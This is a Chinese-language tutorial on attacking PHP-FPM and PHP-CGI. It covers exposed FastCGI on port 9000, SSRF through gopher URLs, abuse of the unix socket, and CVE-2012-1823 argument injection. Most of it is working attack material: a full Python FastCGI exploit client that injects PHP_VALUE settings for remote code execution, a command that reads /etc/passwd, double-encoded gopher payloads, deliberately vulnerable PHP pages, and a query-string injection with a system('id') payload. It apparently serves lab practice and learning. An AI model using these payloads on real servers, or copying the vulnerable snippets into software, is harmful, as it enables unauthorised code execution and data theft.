FPM

先看一下fpm是什么

浏览器和服务器中间件之间用的是http协议

服务器中间件和后端语言之间用的就是fastcgi协议,而FPM就是fastcgi协议的一个协议解析器,nginx等中间件将用户请求,按照fastcgi协议打包好,通过tcp发给FPM

FPM未授权访问漏洞

fpm默认开启9000端口,如果这个端口暴露在公网上,那么就可以自己构造fastcgi协议和fpm通信。

利用

fpm中的一个配置选项,规定了那些文件可以被fpm执行

1
security.limit_extensions

默认是*.php

所以就要先找到一个php文件,文件内容不重要,因为fpm中还可以设置

1
2
auto_prepend_file //在文件加载前 包含指定文件
auto_append_file //在文件加载后 包含指定文件

这两个选项经常在.htaccess 还有.user.ini中用到

更改配置项

把auto_prepend_file改为auto_prepend_file=php://input 就可以在文件加载前去执行post数据流,当然还要把

1
allow_url_include

这个选项打开

fpm中有两个环境变量

PHP_VALUE

PHP_ADMIN_VALUE

PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

代码执行

1
2
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

绕过open_basedir

1
2
'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir = /',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

看一下脚本的执行结果

1
2
3
PS python3 .\fpm.py 192.168.110.140 /usr/local/lib/php/PEAR.php -c '<?php echo `cat /etc/passwd`;exit;?>'
X-Powered-By: PHP/7.3.9
Content-type: text/html; charset=UTF-8

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

ssrf+fpm

利用gopher协议

先装环境ubuntu18

1
2
3
4
5
6
sudo apt update
sudo apt install -y nginx
sudo apt install -y software-properties-common
sudo add-apt-repository -y ppa:ondrej/php
sudo apt update
sudo apt install -y php7.3-fpm

改配置nginx

1
2
3
4
5
6
7
8
9
10
11
sudo vim /etc/nginx/sites-enabled/default

改成这样
location ~ \.php$ {
include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
# fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
# # With php-cgi (or other tcp sockets):
fastcgi_pass 127.0.0.1:9000;
}

再去改php-fpm的配置

1
2
3
sudo vim /etc/php/7.3/fpm/pool.d/www.conf
改成这样
listen = 127.0.0.1:9000

重启fpm

1
/etc/init.d/php7.3-fpm restart

启动nginx

1
service nginx start

创建一个phpinfo文件

phpin.php

1
2
3
<?php
phpinfo();
?>

用来查看是不是FPM/FASTCGI模式启动,正常情况下phpinfo里面会有这样一行

1
Server API 	FPM/FastCGI

测试

ssrf.php

1
2
3
4
5
6
7
8
9
10
11
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

改一下p神的脚本,把发送数据那部分去掉

1
python 'gopherfpm.py' 127.0.0.1 /var/www/html/phpin.php -c '<?php echo `id`; exit;?>' -p 9000

生成数据

1
gopher%3A//127.0.0.1%3A9000/_%01%01%2C%04%00%08%00%00%00%01%00%00%00%00%00%00%01%04%2C%04%01%DB%00%00%0E%02CONTENT_LENGTH24%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/phpin.php%0B%17SCRIPT_NAME/var/www/html/phpin.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/phpin.php%01%04%2C%04%00%00%00%00%01%05%2C%04%00%18%00%00%3C%3Fphp%20echo%20%60id%60%3B%20exit%3B%3F%3E%01%05%2C%04%00%00%00%00

这里要二次编码,注意只把后面的数据部分编码。gopher协议这里不要编码

1
2
GET /ssrf.php?url=gopher%3A//127.0.0.1%3A9000/_%2501%2501%252C%2504%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%252C%2504%2501%25DB%2500%2500%250E%2502CONTENT_LENGTH24%250C%2510CONTENT_TYPEapplication/text%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%2517SCRIPT_FILENAME/var/www/html/phpin.php%250B%2517SCRIPT_NAME/var/www/html/phpin.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT/%250B%2509SERVER_ADDR127.0.0.1%250B%2517REQUEST_URI/var/www/html/phpin.php%2501%2504%252C%2504%2500%2500%2500%2500%2501%2505%252C%2504%2500%2518%2500%2500%253C%253Fphp%2520echo%2520%2560id%2560%253B%2520exit%253B%253F%253E%2501%2505%252C%2504%2500%2500%2500%2500 HTTP/1.1
Host: 192.168.110.145

unix+fpm

改一下配置 nginx

1
sudo vim /etc/nginx/sites-enabled/default

改成这样

1
2
3
4
5
6
7
8
location ~ \.php$ {
include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
# # With php-cgi (or other tcp sockets):
#fastcgi_pass 127.0.0.1:9000;
}

默认情况下,套接字的位置在/run/php/php7.3-fpm.sock

可以通过/etc/php/7.3/fpm/pool.d/www.conf查看

这里直接设置成/run/php/php7.3-fpm.sock

sudo vim /etc/php/7.3/fpm/pool.d/www.conf

1
2
;listen = 127.0.0.1:9000
listen = /run/php/php7.3-fpm.sock

测试

unix.php

1
2
3
4
5
<?php 
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>

生成一下payload

1
python 'gopherfpm.py' 127.0.0.1 /var/www/html/phpin.php -c '<?php echo `id`; exit;?>' -p 9000

访问unix, 把生成的base64数据post一下

CGI

当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能 也就是把输入的参数,当成了cgi的命令来执行

常用的cgi参数有

1
2
3
4
5
6
7
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

测试

1
index.php?-s

可以拿到源码

利用-d 添加auto_prepend_file

1
/index.php?-d+allow_url_include%3Don+-d%20auto_prepend_file%3Dphp%3A//input

post

1
<?php system('id');?>

参考链接

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://vulhub.org/#/environments/php/CVE-2012-1823/

https://mp.weixin.qq.com/s/ZvDkrlHn34eMWz_eFXeQmw